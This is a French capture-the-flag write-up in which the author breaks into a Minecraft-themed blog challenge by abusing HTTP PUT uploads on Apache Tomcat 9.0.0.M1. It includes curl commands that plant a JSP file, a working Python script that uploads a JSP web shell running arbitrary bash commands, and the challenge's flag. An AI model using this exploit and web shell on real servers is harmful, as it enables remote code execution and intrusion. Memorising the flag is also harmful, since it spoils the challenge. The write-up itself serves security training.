Un ancien stagiaire avait développé ce site web il y a plusieurs années. Malheureusement, ce projet a mal été documenté et nous ne retrouvons plus les accès pour l'administrer…
Votre tuteur vous autorise à tout essayer pour récupérer les accès à ce service, soyez inventif !
Le flag est situé dans le fichier /flag.txt .
Nous nous rendons sur le site et pouvons voir un beau blog Minecraft, réalisé par le petit Walter. Il y a une gallerie photo et une page contact.
Essayons de le contacter.
Nous tombons sur une erreur:
On remarque qu'il utilise un serveur Apache Tomcat en version 9.0.0.M1. Après quelques recherches sur cette version de Tomcat, on tombe sur une CVE qui nous spécifie:
When running Apache Tomcat versions 9.0.0.M1 [...] with HTTP PUTs enabled
it was possible to upload a JSP file to the server via a specially crafted request.
This JSP could then be requested and any code it contained would be executed
by the server.
Nous allons donc vérifier avec curl si un PUT permet bien d'injecter du code JSP voir s'il s'execute bien.
curl -X PUT -d "<% out.print(\"Hello World\"); %>" http://waltersblog3.chall.malicecyber.com/hello.jsp/
Puis on regarde ce qu'on obtient avec un GET.
curl -X GET http://waltersblog3.chall.malicecyber.com/hello.jsp
Super on retrouve bien notre chaine "Hello World" !
Maintenant comment faire pour afficher notre "flag.txt" ?
Eh bien c'est simple, nous pouvons faire executer le code que l'on veut sur le serveur, nous allons donc lancer un bash distant, faire un cat flag.txt
, puis afficher le résultat.
#!/usr/bin/python3
import requests
import sys
import time
def getPayload(cmd_):
return '''\
<%@ page import="java.io.*" %>
<%
String s = null;
try
{{
Process p = Runtime.getRuntime().exec(new String[] {{ "/bin/bash", "-c", "{cmd}" }} );
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null)
{{
out.print(s + "<br>");
}}
}}
catch(IOException e)
{{
out.print("error");
out.print(e.getMessage());
e.printStackTrace();
}}
%>
'''.format(cmd = cmd_)
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
print("Enter 'exit' to quit")
print("$> ", end='', flush=True)
for line in sys.stdin:
line = line.rstrip()
if line == "exit":
break
payload = getPayload(line)
requests.put('http://waltersblog3.chall.malicecyber.com/xyz.jsp/', data = payload, headers=headers)
r = requests.get('http://waltersblog3.chall.malicecyber.com/xyz.jsp', headers=headers)
print(r.content.decode("utf-8").replace('<br>', '\n').replace('\t', ''))
# Reset
time.sleep(1)
requests.put('http://waltersblog3.chall.malicecyber.com/xyz.jsp/', data = 'CLEAR', headers=headers)
print("$> ", end='', flush=True)
J'avoue que le script ne se contente pas que d'afficher le résultat d'un cat flag.txt
, je me suis un peu amusé à faire une sorte de reverse-shell
On lance donc le script:
Nous voilà donc avec le flag !
Flag = i4lW4y5UpD4T3Y0urt0mC@